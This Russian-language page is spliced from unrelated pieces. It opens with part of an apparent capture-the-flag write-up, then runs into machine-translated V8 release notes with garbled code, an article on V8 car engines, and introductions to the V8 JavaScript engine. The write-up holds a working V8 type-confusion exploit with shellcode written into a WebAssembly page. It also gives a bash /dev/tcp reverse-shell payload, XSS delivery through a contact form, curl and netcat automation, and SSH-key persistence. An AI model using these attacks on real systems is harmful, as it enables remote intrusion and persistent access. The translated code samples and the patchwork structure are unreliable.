obj_arr.SetLastElement(float_arr_map);

// Получаем адрес, обращаясь к index 0

let addr = obj_arr[0];

// Заменяем карту обратно на obj

obj_arr.SetLastElement(obj_arr_map);

// Возвращаем адрес в формате BigInt

return ftoi(addr);

}

function fakeobj(addr) {

// Конвертируем адрес во float и помещаем его в нулевой элемент массива float

float_arr[0] = itof(addr);

// Меняем карту float на карту массива obj

float_arr. SetLastElement(obj_arr_map);

// Получаем объект "fake", на который указывает адрес

let fake = float_arr[0];

// Меняем карту обратно на float

float_arr.SetLastElement(float_arr_map);

// Возвращаем полученный объект

return fake;

}

// Этот объект мы будем использовать, чтобы читать из произвольных адресов памяти и писать в них

var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];

console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));

function arb_read(addr) {

// Мы должны использовать тегированные указатели для чтения, поэтому тегируем адрес

if (addr % 2n == 0)

addr += 1n;

// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr

let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20

// Изменяем указатель elements arb_rw_arr на read_addr-0x08

// По адресу первого элемента массива float находится 2-й индекс obj_map,

// указывающий на элементы объекта fake

arb_rw_arr[1] = itof(BigInt(addr) - 0x8n);

// Обращаясь к нулевому индексу массива, читаем значение, расположенное по адресу addr,

// и возвращаем его в формате float

return ftoi(fake[0]);

}

function arb_write(addr, val) {

// Помещаем fakeobj в адресное пространство, в котором расположены элементы arb_rw_arr

let fake = fakeobj(addrof(arb_rw_arr) - 0x20n); // 4 элемента × 8 байт = 0x20

// Изменяем указатель на элементы arb_rw_arr на write_addr-0x08

// По адресу первого элемента массива float находится 2-й индекс obj_map,

// указывающий на элементы объекта fake

arb_rw_arr[1] = itof(BigInt(addr) - 0x8n); //

// Записываем значение в нулевой элемент в формате float,

fake[0] = itof(BigInt(val));

}

// Произвольный код, скомпилированный в WebAssembly (нужен для создания wasm_instance)

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,

3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,

128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,

0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasm_mod = new WebAssembly. Module(wasm_code);

var wasm_instance = new WebAssembly.Instance(wasm_mod);

var exploit = wasm_instance.exports.main;

// Получаем адрес wasm_instance

var wasm_instance_addr = addrof(wasm_instance);

console.log("[+] Wasm addr: 0x" + wasm_instance_addr.toString(16));

var rwx_page_addr = arb_read(wasm_instance_addr + 0x68n); // Постоянное смещение страницы rwx = 0x68

function copy_shellcode(addr, shellcode) {

let buf = new ArrayBuffer(0x100);

let dataview = new DataView(buf);

let buf_addr = addrof(buf); // Получаем адрес ArrayBuffer

let backing_store_addr = buf_addr + 0x14n; // Постоянное смещение backing_store=0x14

arb_write(backing_store_addr, addr); // Изменяем адрес backing_store_addr на addr

// Пишем шелл по адресу backing_store_addr

for (let i = 0; i < shellcode.length; i++) {

dataview.setUint32(4*i, shellcode[i], true);

}

}

console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));

// msfvenom -p linux/x64/exec -f dword CMD='твой_шелл_код'

var shellcode = new Uint32Array([0x99583b6a, 0x622fbb48, 0x732f6e69, 0x48530068,

0x2d68e789, 0x48000063, 0xe852e689, 0x00000016, 0x68736162, 0x20632d20, 0x68636522,

0x5750206f, 0x2144454e, 0x57560022, 0x0fe68948, 0x00000005]);

// Пишем реверс-шелл по адресу rwx_page

copy_shellcode(rwx_page_addr, shellcode);

// Вызываем wasm_instance c нашим реверс-шеллом

exploit();

За­пус­каем наш тес­товый экс­пло­ит:

[email protected]:~/v8/out.gn/x64.release# ./d8 /mnt/share/v8/test.js
[+] Controlled float array: 0x8040385080882ed
[+] Wasm addr: 0x8040385082110b1
[+] RWX Wasm page addr: 0x29db47484000
PWNED!

Ра­бота­ет!

Ос­тался пос­ледний шаг — разоб­рать­ся, как его запус­тить на уда­лен­ной машине.

Единс­твен­ный инте­рак­тивный эле­мент на сай­те — это фор­ма обратной свя­зи по адре­су http://rope2.htb:8000/contact. Так как V8 — это дви­жок JS, оче­вид­но, что надо как‑то скор­мить ему наш JavaScript. Запус­каем сер­вер HTTP: python -m http.server 8070 — и вво­дим во все поля фор­мы

<script src="http://10.10.xx.xx:8070/v8.js"></script>

И получа­ем зап­рос от сер­вера! Пос­ле недол­гих экспе­римен­тов я выяс­нил, что запуск скрип­та триг­герит поле Message.

Про­веря­ем XSS

Те­перь дело за малым. Генери­руем боевой пей­лоад с реверс‑шел­лом и встав­ляем его в наш скрипт.

msfvenom -p linux/x64/exec -f dword CMD='bash -c "bash -i >& /dev/tcp/10.10.xx.xx/7090 0>&1"'

Кла­дем скрипт в пап­ку, из которой запущен наш веб‑сер­вер, запус­каем netcat (nc -lnvp 7090) и отправ­ляем фор­му с зап­росом скрип­та в поле Message.

На­конец‑то дол­гождан­ный шелл!

По­луча­ем шелл

Что­бы авто­мати­зиро­вать про­цесс, я написал пару строк на bash — получив­ший­ся файл нуж­но положить в ту же пап­ку, где лежит скрипт.

python -m http.server 8070 &

curl -d 'name=&subject=&content=%3Cscript+src%3D%22http%3A%2F%2F10.10.xx.xx%3A8070%2Fv8.js%22%3E%3C%2Fscript%3E' -L http://10.10.10.196:8000/contact &

nc -lnvp 7090

Прав­да, сес­сия живет не боль­ше минуты — видимо, на сер­вере сра­баты­вает тайм‑аут. Что­бы сде­лать себе ста­биль­ный шелл, нуж­но добавить поль­зовате­лю chromeuser свой ключ SSH:

mkdir /home/chromeuser/.ssh

echo 'твой_ssh_ключ'>>/home/chromeuser/.ssh/authorized_keys

На­деюсь, было инте­рес­но и ты узнал для себя мно­го нового!

Блог

· Блог V8

· V8
  1. Выпуск V8 v9.6
  2. Выпуск V8 v9.5
  3. Выпуск 9.4
  4. V8 выпуск v9.3
  5. Выпуск 9.2 выпуск
  6. Sparkplug — неоптимизирующийся компилятор JavaScript JavaScript
  7. Короткие встроенные вызовы JavaScript
  8. V8, выпуск v9.1
  9. Версия 8, версия 9.0
  10. Более быстрые выпуски
  11. Сверхбыстрый супер доступ к собственности JavaScript
  12. Более быстрые вызовы JavaScript внутренности
  13. V8, выпуск v8.9
  14. Дополнительный механизм RegExp без возврата с возвратом внутренние компоненты RegExp
  15. выпуск V8 v8.7
  16. Индикация: инструмент отслеживания времени выполнения V8 tools system-analyzer
  17. Отслеживание резервов времени в V8
  18. V8 release v8.5 release
  19. V8 release v8.4 release
  20. Высокопроизводительная сборка мусора для C ++ внутренняя память cppgc
  21. Понимание спецификации ECMAScript, часть 4 ECMAScript Понимание ECMAScript
  22. До 4 ГБ памяти в WebAssembly Инструменты JavaScript WebAssembly
  23. V8 release v8.3 release
  24. Что в этом .wasm ? Представляем: wasm-decompile Инструменты WebAssembly
  25. Понимание спецификации ECMAScript, часть 3 ECMAScript Понимание ECMAScript
  26. Сжатие указателя в V8
  27. V8 release v8.1
  28. Понимание спецификации ECMAScript, часть 1 ECMAScript Понимание ECMAScript
  29. V8, выпуск v8.0 Инструментальные средства WebAssembly
  30. Выпуск 8 версии 7.9
  31. Улучшение регулярных выражений V8 внутреннее устройство RegExp
  32. выпуск 8 версии v7.8
  33. Легче V8 презентаций внутренней памяти
  34. История падения производительности V8 в React
  35. Emscripten и бэкэнд LLVM WebAssembly Инструментальные средства WebAssembly
  36. Стоимость JavaScript в 2019 г. внутреннего анализа
  37. V8 release v7.6
  38. Кэширование кода для разработчиков WebAssembly Внутренние компоненты WebAssembly
  39. , выпуск V8, версия 7.5
  40. Год со Spectre: перспектива V8 security
  41. Невероятно быстрый синтаксический анализ, часть 2: ленивый синтаксический анализ внутренний анализ
  42. Кэширование кода для разработчиков JavaScript внутреннее
  43. Невероятно быстрый синтаксический анализ, часть 1: оптимизация сканера внутреннего анализа
  44. V8 release v7.4
  45. V8 без JIT
  46. V8 release v7.2 release
  47. Ускорение элементов распространения Тесты ECMAScript
  48. Более быстрые асинхронные функции и обещания Презентации тестов ECMAScript
  49. V8 release v7.1 , выпуск
  50. V8, выпуск v7.0 , выпуск
  51. Рассортировка вещей в V8 Внутренние компоненты ECMAScript
  52. Повышение производительности DataView в V8 Тесты производительности ECMAScript
  53. Празднование 10-летия V8 тестов
  54. Liftoff: новый базовый компилятор для WebAssembly в V8 Внутренние компоненты WebAssembly
  55. Встроенные встроенные компоненты
  56. V8, выпуск v6.8
  57. Улучшенное кэширование кода внутреннее
  58. V8 release v6.6 release
  59. Фоновая компиляция внутреннее
  60. Трассировка от JS до DOM и обратно внутренняя память
  61. Ленивая десериализация внутренняя часть
  62. Выпуск V8 v6.5
  63. Оптимизация хеш-таблиц: скрытие хэш-кода внутренности
  64. Chrome приветствует спидометр 2.0! тестов
  65. Версия V8 v6.4
  66. Покрытие кода JavaScript
  67. Ориноко: сборка мусора молодого поколения внутренняя память
  68. Сложность приручения архитектуры в V8 — CodeStubAssembler internals
  69. Объявление о тестировании Web Tooling Benchmark тестов Node.js
  70. V8 release v6.3
  71. Оптимизация прокси ES2015 в V8
  72. Типы элементов в V8 внутренние презентации
  73. V8 release v6.2 release
  74. Fast properties in V8 internals
  75. Об этой уязвимости хэш-флуда в Node.js… security
  76. V8 release v6.1 выпуск
  77. выпуск V8 v6.0
  78. Запуск Ignition и TurboFan
  79. выпуск V8 v5.9
  80. Отмена контрольных показателей Octane
  81. V8, выпуск v5.8 , выпуск
  82. Fast для в в V8 внутренности
  83. Высокопроизводительный ES2015 и выше ECMAScript
  84. Помогите нам проверить будущее V8! внутренности
  85. Один маленький шаг для Chrome, одна гигантская куча для V8 память
  86. V8 release v5.7 release
  87. Ускорение регулярных выражений V8 внутренние компоненты RegExp
  88. Как V8 измеряет реальную производительность тестов
  89. V8 ❤️ Node.js Node.js
  90. V8 release v5.6 release
  91. Предварительная версия браузера WebAssembly WebAssembly
  92. V8 release v5.5 release
  93. Оптимизация V8 потребление памяти тесты памяти
  94. выпуск V8 v5.4 выпуск
  95. Запуск интерпретатора Ignition внутренних компонентов
  96. V8 на конференции BlinkOn 6 презентаций
  97. V8, выпуск v5.3 , выпуск
  98. V8, выпуск v5.2
  99. Версия V8 v5.0 версия
  100. Экспериментальная поддержка WebAssembly в V8 WebAssembly
  101. RegExp lookbehind assertions
  102. ECM

Выпуск V8 v9.5 · V8

Каждые четыре недели мы создаем новую ветвь V8 как часть процесса выпуска. Каждая версия является ответвлением от мастера Git V8 непосредственно перед этапом бета-тестирования Chrome. Сегодня мы рады анонсировать нашу новейшую ветку, V8 версии 9.5, которая находится в стадии бета-тестирования до ее выпуска в координации с Chrome 95 Stable через несколько недель.V8 v9.5 наполнен всевозможными полезностями, предназначенными для разработчиков. Этот пост представляет собой предварительный просмотр некоторых основных моментов в преддверии релиза.

JavaScript #

Intl.DisplayNames v2 #

В версии 8.1 мы запустили API Intl.DisplayNames API в Chrome 81 с поддерживаемыми типами «язык», «регион», «сценарий» и « валюта». В версии 9.5 мы добавили два новых поддерживаемых типа: «календарь» и «dateTimeField». Они возвращают отображаемые имена различных типов календаря и полей даты и времени соответственно:

  const esCalendarNames = new Intl.DisplayNames (['es'], {тип: 'календарь'}); 
const frDateTimeFieldNames = новый Intl.DisplayNames (['fr'], {type: 'dateTimeField'});
esCalendarNames.of ('roc');
frDateTimeFieldNames.of ('месяц');

Мы также улучшили поддержку типа «язык» с помощью новой опции languageDisplay, которая может быть либо «стандартной», либо «диалектной» (в качестве значения по умолчанию, если не указано иное):

  const jaDialectLanguageNames = new Intl. DisplayNames (['ja'], {type: 'language'}); 
const jaStandardLanguageNames = новый Intl.DisplayNames (['ja'], {тип: 'язык', languageDisplay: 'стандартный'});
jaDialectLanguageNames.of ('en-US')
jaDialectLanguageNames.of ('en-AU')
jaDialectLanguageNames.of ('en-GB')

jaStandardLanguageNames.of ('en-US')
jaStandard ('en-US')
jaStandard ('en-US') en-AU ')
jaStandardLanguageNames.of (' en-GB ')

Extended

timeZoneName option #

Intl.DateTimeFormat API в v9.5 теперь поддерживает четыре новых значения для опции timeZoneName :

  • «shortGeneric» для вывода названия часового пояса в коротком общем формате без определения местоположения, например «PT», «ET», без указания того, находится ли он в режиме летнего времени.
  • «longGeneric» для вывода названия часового пояса в коротком общем формате без определения местоположения, например «Тихоокеанское время», «Горное время», без указания того, находится ли он в режиме летнего времени.
  • «shortOffset» для вывода названия часового пояса в кратком локализованном формате GMT, таком как «GMT-8».
  • «longOffset» для вывода имени часового пояса в длинном локализованном формате GMT, например «GMT-0800».

WebAssembly #

Обработка исключений #

V8 теперь поддерживает предложение по обработке исключений WebAssembly (Wasm EH), поэтому модули скомпилированы с помощью совместимой цепочки инструментов (e.грамм. Emscripten) может выполняться в V8. Это предложение призвано снизить накладные расходы по сравнению с предыдущими обходными путями с использованием JavaScript.

Например, мы скомпилировали оптимизатор Binaryen в WebAssembly со старыми и новыми реализациями обработки исключений.

Когда обработка исключений включена, увеличение размера кода снижается с примерно 43% для старой обработки исключений на основе JavaScript до всего 9% для новой функции Wasm EH.

Когда мы запустили wasm-opt.wasm -O3 на нескольких больших тестовых файлах, версия Wasm EH не показала потери производительности по сравнению с базовой линией без исключений, в то время как версия EH на основе JavaScript заняла примерно 30% больше времени.

Однако Binaryen редко использует проверку исключений. Ожидается, что в рабочих нагрузках с большим количеством исключений разница в производительности будет еще больше.

V8 API #

Главный файл заголовка v8.h разделен на несколько частей, которые могут быть включены отдельно. Например, v8-isolate.h теперь содержит v8 :: Isolate class . Многие файлы заголовков, которые объявляют методы, передающие v8 :: Local , теперь могут импортировать v8-forward.h , чтобы получить определение v8 :: Local и все типы объектов кучи v8.

Используйте git log branch-heads / 9.4..branch-Head / 9.5 include / v8 \ *. H , чтобы получить список изменений API.

Разработчики с активной проверкой V8 могут использовать git checkout -b 9.5 -t branch-heads / 9.5 , чтобы поэкспериментировать с новыми функциями в V8 v9.5. Вы также можете подписаться на канал бета-версии Chrome и вскоре сами опробовать новые функции.

Механизм JavaScript V8

V8 — это имя механизма JavaScript, на котором работает Google Chrome.Это то, что берет наш JavaScript и выполняет его при просмотре в Chrome.

V8 предоставляет среду выполнения, в которой выполняется JavaScript. DOM и другие API веб-платформы предоставляются браузером.

Замечательно то, что движок JavaScript не зависит от браузера, в котором он размещен. Эта ключевая функция способствовала развитию Node.js. V8 был выбран в качестве движка, на котором работал Node.js еще в 2009 году, и когда популярность Node.js резко возросла, V8 стал движком, который теперь поддерживает невероятное количество серверного кода, написанного на JavaScript.

Экосистема Node.js огромна и благодаря V8, который также поддерживает настольные приложения, такие как Electron.

Другие движки JS

В других браузерах есть собственный движок JavaScript:

и многие другие существуют также.

Все эти движки реализуют стандарт ECMA ES-262, также называемый ECMAScript, стандартом, используемым JavaScript.

В поисках производительности

V8 написан на C ++ и постоянно совершенствуется. Он портативен и работает на Mac, Windows, Linux и некоторых других системах.

В этом введении V8 мы проигнорируем детали реализации V8: их можно найти на более авторитетных сайтах (например, на официальном сайте V8), и они со временем меняются, часто радикально.

V8 постоянно развивается, как и другие движки JavaScript, чтобы ускорить Интернет и экосистему Node.js.

В Интернете идет гонка за производительностью, которая продолжается годами, и мы (как пользователи и разработчики) много выигрываем от этой конкуренции, потому что год за годом мы получаем более быстрые и оптимизированные машины.

Компиляция

JavaScript обычно считается интерпретируемым языком, но современные движки JavaScript больше не просто интерпретируют JavaScript, они его компилируют.

Это происходит с 2009 года, когда в Firefox 3.5 был добавлен компилятор JavaScript SpiderMonkey, и все последовали этой идее.

JavaScript внутренне компилируется V8 с точно в срок (JIT) компиляцией для ускорения выполнения.

Это может показаться нелогичным, но с момента появления Google Maps в 2004 году JavaScript превратился из языка, который обычно выполнял несколько десятков строк кода для завершения приложений с тысячами и сотнями тысяч строк, выполняемых в браузер.

Наши приложения теперь могут работать в течение нескольких часов в браузере, а не представляют собой всего лишь несколько правил проверки формы или простые скрипты.

В этом новом мире компиляция JavaScript имеет смысл, потому что, хотя для подготовки JavaScript может потребоваться немного больше времени, после завершения он будет намного более производительным, чем чисто интерпретируемый код.

Что такое V8? | Келли Синяя книга

Термин V8 относится к двигателю с восемью цилиндрами, который установлен на картере с двумя рядами по четыре цилиндра, каждый из которых имеет общий коленчатый вал.Этот макет имеет форму буквы «V». Каждый цилиндр двигателя содержит один поршень, который регулируется коленчатым валом. В большинстве случаев два ряда цилиндров расположены под прямым углом друг к другу, образуя 90-градусный V.

Есть две классические конструкции коленчатого вала V8. Самый простой — это коленчатый вал с одной или другой плоскостью. Второй вариант — это конструкция коленчатого вала с поперечным сечением или с двумя плоскостями, которая используется в большинстве автомобилей с двигателями V8. Преимущество кросс-плоскости состоит в том, что она обеспечивает хороший баланс.В то же время кросс-плоскостная конфигурация требует тяжелых противовесов, и в результате кросс-самолетный двигатель имеет тенденцию к медленному обороту. В универсальном гоночном автомобиле вместо него часто используется одноплоскостной коленчатый вал, который обеспечивает более быстрое ускорение и более высокие обороты, но который трудно сбалансировать и который подвержен вибрации.

Леон Левавассер разработал первый двигатель V8 в 1902 году. Он запатентовал двигатель, известный как Antoinette. Двигатель выпускался в ограниченном количестве до 1912 года.Компания Rolls-Royce изготовила первый двигатель V8 для использования в автомобилях. Двигатель был известен как Rolls-Royce Legalimit. В 1914 году Cadillac начал массовое производство двигателей V8. В следующем году 5,1-литровый двигатель стал стандартным для всех автомобилей Cadillac. Из-за того, что было сложно создать кросс-плоскостную конструкцию, многие ранние двигатели имели плоскую конструкцию. Хотя конструкция с поперечной плоскостью была первоначально предложена в 1915 году на автомобильной конференции, в производство она не пошла еще восемь лет.Peerless и Cadillac одновременно подали заявку на получение патента на кросс-платформенный дизайн, и в конечном итоге обе компании решили поделиться дизайнерской идеей. В 1923 году компания Cadillac представила дизайн двигателя V8 с компенсированным коленчатым валом. В следующем году Peerless представила двигатель Equipoised Eight V8.

Двигатель V8 — популярный выбор для спортивных автомобилей, внедорожников и других транспортных средств, поскольку с ним легко работать и он очень долговечен. Двигатели V8 часто состоят из твердого чугуна, что делает их устойчивыми к повреждениям и устойчивыми к высоким температурам, создаваемым двигателем.Благодаря конструктивной прочности и долговечности двигателя V8 он является популярным выбором для разработчиков спортивных автомобилей и среди энтузиастов высоких характеристик. В автомобилях двигатель V8 устанавливается сбоку. Это позволяет каждому из цилиндров работать параллельно крыльям автомобиля. Это положение облегчает сборку двигателя из-за его размера.

Понимание движка JavaScript V8 | Кунал Тандон | Developer’s Arena

Вы когда-нибудь слышали термин «движок V8», говоря о Chrome, JavaScript или даже о NodeJ.Вы когда-нибудь задумывались, что такое двигатель V8?

В этой статье я объясню вам, что такое двигатель V8 и для чего он нужен.

V8 Engine — это сборка движка JavaScript с открытым исходным кодом с использованием C ++. Он был создан для Chromium Project и браузеров Chrome, но в настоящее время он является базой для других технологий на основе JavaScript, таких как Node.js, MongoDB и т. Д.

V8 Engine — это отдельный проект, который сам по себе завершен. движок JS. Он не зависит от браузера Chrome или чего-то подобного.

Механизм JS — это компилятор, который принимает код JS, компилирует его и запускает на устройстве, на котором запущен механизм V8.

JS Engine — это ядро ​​для запуска кода JS. На рынке доступны и другие движки, такие как Nitro от Apple Safari 4 и TraceMonkey в Mozilla Firefox 3.5, но в этой статье я расскажу только о движке V8.

Многие традиционные языки, такие как JAVA, C # и т. Д., Компилируют код и создают байт-код или промежуточный язык, и этот код, наконец, выполняется машинами.Создание байт-кодов — это дополнительные накладные расходы для компилятора. Это то, что понимают разработчики движка V8, и они сделали его способным напрямую компилировать JS-код в машинный язык, язык, который может запускаться непосредственно операционной системой. Механизм также динамически оптимизирует код во время выполнения на основе эвристики профиля выполнения кода. Следовательно, это делает V8 Engine сверхбыстрым JS Engine.

Помимо этого, механизм V8 использует другие методы оптимизации, такие как

  • Inline Expansion — Замена вызовов функций соответствующими функциональными блоками
  • Copying Elision — Предотвращение дорогостоящих задач копирования некоторых объектов
  • Inline Caching — Кэширование выполнения некоторые старые задачи, которые могут быть найдены при выполнении той же задачи в будущем

Механизм V8 предназначен для использования в браузере, как используется в браузере Chrome, и его также можно использовать в качестве автономного движка JS для различных проектов, таких как :

  • Узел.js
  • MongoDB
  • База данных Couchbase

Объяснение движка JavaScript V8. Ну, я думаю, что слышал название V8 как… | Йотам Кадишай | HackerNoon.com

Ну, кажется, я слышал название V8 миллион раз. Впервые он появился в 2008 году, когда инженер из моей команды объяснил мне, почему производительность некоторого кода будет удовлетворительной — он сказал: «V8 позаботится об этом!» — Я кивнул. Хотя я не знал, о чем он говорит, мне все же хотелось быть в курсе технических модных словечек, которые наводняли нас в эти дни.Затем, когда я вернулся к своему компьютеру, я погуглил и подумал про себя — крутой, новый движок JavaScript, который использует хром, отлично, я думаю.

Эта первая строчка в Википедии — это то, что большинство из нас знает о V8 и многих других вещах. Здесь я попытаюсь дать простое объяснение того, что на самом деле делает V8. Что касается прочего, в следующий раз просто прочтите весь первый абзац в Википедии, что за хак, живете только один раз, погрузитесь во второй.

Итак, да, «V8 — это высокопроизводительный движок JavaScript и WebAssembly с открытым исходным кодом Google, написанный на C ++» (документация V8), но что это на самом деле означает? На самом деле это означает, что V8 — это программа на C ++, которая получает код JavaScript, компилирует и выполняет его.

V8 Делает:

  1. Компилирует и выполняет код JS
  2. Обработка стека вызовов — выполнение ваших функций JS в некотором порядке
  3. Управление выделением памяти для объектов — куча памяти
  4. Сборка мусора — объектов, которые больше не используются
  5. Обеспечивает все типы данных, операторы, объекты и функции

V8 Может:

  1. Обеспечивает цикл событий, но иногда это также реализуется браузером

V8 Не знает:

  1. Ничего не знаю об объектной модели документа (DOM), предоставляемой браузером и явно не имеющей отношения к Node.js, например,

V8 — это однопоточный механизм выполнения. Он создан для запуска ровно одного потока в контексте выполнения JavaScript. Фактически вы можете запустить два двигателя V8 в одном процессе — например, веб-воркеры, но они не будут делиться никакими переменными или контекстом, как настоящие потоки. Это не означает, что V8 работает в одном потоке, но это означает, что он предоставляет поток JavaScript в одном потоке.

В среде выполнения V8 в основном управляет выделением памяти кучи и однопоточным стеком вызовов.Стек вызовов — это в основном список выполняемых функций в порядке их вызова. Каждая функция, которая вызывает другую функцию, будет вставлена ​​одна за другой напрямую, а обратные вызовы будут отправлены в конец. Вот почему вызов функции с setTimeout равным нулю миллисекунд отправляет ее в конец текущей строки и не вызывает ее сразу (0 миллисекунд).

JS Interpreter — Ignition & Optimization Compiler — TurboFan & Crankshaft

V8 получает свою скорость от JIT-компиляции JavaScript в машинный код непосредственно перед его выполнением.Прежде всего, код компилируется базовым компилятором, который быстро генерирует неоптимизированный машинный код. Во время выполнения скомпилированный код анализируется и может быть повторно скомпилирован для достижения оптимальной производительности. Зажигание обеспечивает первое, а TruboFan & Crankshaft — второе.

Машинный код результата JIT-компиляции может занимать большой объем памяти, хотя он может выполняться один раз. Это решается Ignition, который выполняет код с меньшими затратами памяти.

Проект TurboFan стартовал в 2013 году с целью улучшения слабых мест Crankshaft, который не оптимизирован для некоторых функций JavaScript. E.грамм. обработка ошибок. Он был разработан для оптимизации как существующих, так и будущих запланированных функций в то время.

V8 Dev Blog — https://v8.dev/blog/ignition-interpreter

WebAssembly — Liftoff

Достижение высокой производительности также является ключевым моментом в браузере, и для этой задачи Liftoff используется — генерации машинного кода. Не используя сложную многоуровневую компиляцию, Liftoff представляет собой более простой генератор кода, который генерирует код для каждого кода операции (одной части машинного кода, определяющей операцию, которая должна быть выполнена) за раз.Liftoff генерирует код намного быстрее, чем TurboFan (~ 10x), который, очевидно, менее эффективен (~ 50%). Чтобы узнать больше, см. Блог разработчиков V8.

Сборка мусора — Orinoco

Работа с кучей памяти в поисках отключенных выделений памяти — это Orinoco. Внедрение сборщика мусора по поколениям, перемещение объектов внутри молодого поколения, от молодого поколения к старому и внутри старого поколения. Эти движения оставляют дыры, и Orinoco выполняет как эвакуацию, так и уплотнение, чтобы освободить место для большего количества объектов.

Еще одна оптимизация, выполненная Orinoco, заключается в том, как она ищет в куче все указатели, которые содержат старое местоположение перемещенных объектов, и обновляет их с новым местоположением. Это делается с использованием структуры данных, называемой запомненным набором .

Вдобавок к этому добавлено выделение черным цветом , что в основном означает, что процесс сборки мусора автоматически помечает живые объекты черным цветом, чтобы ускорить итеративный процесс маркировки.

JavaScript не стремится быть наиболее оптимизированным серверным языком для обеспечения высокой масштабируемости и пропускной способности. Тем не менее, с появлением V8 и вышеупомянутых архитектурных улучшений набор инструментов, которые может использовать веб-разработчик, полностью изменился, что позволило значительно улучшить и добавить новые функции.

Я надеюсь, что это быстрое ознакомление с V8 помогло вам получить некоторое упрощенное базовое представление о движке V8, который запускает код JavaScript на клиенте и сервере.

Вышеупомянутое было исследовано и реализовано при создании моего веб-сайта «Лучшие рестораны Тель-Авива».

Понимание того, как движок Chrome V8 преобразует JavaScript в машинный код

by Mayank Tripathi

Прежде чем углубиться в суть V8 Chrome, давайте сначала разберемся с основными принципами. Все наши системы состоят из микропроцессоров, которые сейчас находятся внутри вашего компьютера и позволяют вам читать это.

Микропроцессоры — это крошечные машины, которые работают с электрическими сигналами и в конечном итоге выполняют свою работу. Даем инструкции микропроцессорам.Инструкции составлены на языке, который может интерпретировать микропроцессор. Разные микропроцессоры говорят на разных языках. Некоторые из наиболее распространенных — IA-32, x86–64, MIPS и ARM. Эти языки напрямую взаимодействуют с оборудованием, поэтому написанный на них код называется машинным кодом. Код, который мы пишем на наших компьютерах, преобразуется или компилируется в машинный код.

Вот как выглядит машинный код:

Источник: Google

Он состоит из инструкций, которые выполняются на определенном участке памяти в вашей системе на низком уровне.Вам должно быть повезло, что вам не пришлось писать все это для запуска вашей программы!

Языки высокого уровня абстрагируются от машинного языка. На уровне абстракции ниже вы можете увидеть, насколько JavaScript абстрагирован от машинного уровня. C / C ++ относительно гораздо ближе к оборудованию и, следовательно, намного быстрее, чем другие языки высокого уровня.

Теперь вернемся к движку V8: V8 — это мощный движок Javascript с открытым исходным кодом, предоставляемый Google. Так что же такое Javascript Engine? Это программа, которая преобразует код Javascript в более низкий уровень или машинный код, понятный микропроцессорам.

Существуют различные движки JavaScript, включая Rhino, JavaScriptCore и SpiderMonkey. Эти движки соответствуют стандартам ECMAScript. ECMAScript определяет стандарт для языка сценариев. JavaScript основан на стандартах ECMAScript. Эти стандарты определяют, как язык должен работать и какие функции он должен иметь. Вы можете узнать больше о ECMAScript здесь.

Источник: Google

Движок Chrome V8:

  • Движок V8 написан на C ++ и используется в Chrome и Nodejs.
  • Он реализует ECMAScript, как указано в ECMA-262.
  • Двигатель V8 может работать автономно, мы можем встроить его в нашу собственную программу на C ++.

Давайте разберемся с последним пунктом немного лучше. V8 может работать автономно, и в то же время мы можем добавить нашу собственную реализацию функции на C ++, чтобы добавить новые функции в JavaScript.

Так, например: print ('hello world') не является допустимым выражением в Node.js. Если мы скомпилируем, это даст ошибку. Но мы можем добавить нашу собственную реализацию функции печати на C ++ поверх V8, имеющего открытый исходный код на Github, тем самым заставив функцию печати работать изначально.Это позволяет JavaScript понимать больше, чем то, что стандарт ECMAScript указывает, что JavaScript должен понимать.

Это мощная функция, поскольку C ++ имеет больше возможностей как язык программирования по сравнению с JavaScript, поскольку он намного ближе к аппаратному обеспечению, например, работа с файлами и папками на жестком диске.

Позволяя нам писать код на C ++ и делая его доступным для JavaScript, мы можем добавлять дополнительные функции в JavaScript.

Node.js сам по себе является реализацией C ++ механизма V8, позволяющего программировать на стороне сервера и сетевые приложения.

Давайте теперь посмотрим на некоторый открытый исходный код внутри движка. Для этого нужно перейти в папку v8 / samples / shell.cc.

Здесь вы можете увидеть реализацию различных функций, таких как Print, и Read, , которые изначально недоступны в Node.js.

Ниже вы можете увидеть реализацию функции Print . Каждый раз, когда функция print () вызывается в Node.js, она создает обратный вызов, и функция будет выполнена.

Точно так же мы можем добавить нашу собственную реализацию различных новых функций на C ++ внутри V8, что сделает ее понятной для Node.js.

Это, конечно, слишком много, чтобы ухватиться за простое утверждение, и это объем работы, которую двигатель V8 выполняет под капотом.

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *